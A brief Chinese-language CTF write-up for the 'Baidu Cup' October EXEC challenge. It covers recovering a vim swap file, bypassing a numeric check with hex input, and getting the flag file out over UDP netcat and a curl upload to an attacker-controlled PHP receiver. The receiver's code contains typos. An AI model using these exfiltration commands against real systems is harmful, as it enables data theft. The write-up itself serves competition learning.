“百度杯”CTF比赛十月场EXEC

提示：扫一扫查出行
【扫一扫了解最新限行尾号】
复制提示

前面比较常规吧看源代码-看到vim 然后就是 .index.php.swp

然后就是这个文件的恢复，用linux下vim -r index.php.swp 就可以看到不是乱码的文件了

然后就是审核源码

1.用了ord()[返回第一个的acsii编码] 函数大概条件的条件就是不能是数字

2.用16进制的就可以绕过了 0xabcdef == '11259375' 条件为真

然后主要就是那个cmd的问题，不允许tcp链接

我在网上看到3种方法

1.用了一个python脚本进行sleep() 进行类似sql盲注那种

2.用了一个nc 但是我没有成功本机：nc -ulp 8888 远程：nc -u ip port < flag223.php //这里就是一个反向输出

3.我用的是curl的方法

在服务端写了一个php脚本

<?php

$_FILES['wj']['tmp_neme'];

move_uploaded_file($wj,123.txt); //把上传的文件移动到123.txt

然后在远程那边运行：curl http://123.com/1.php -F 'wj=@flag233.php //123.txt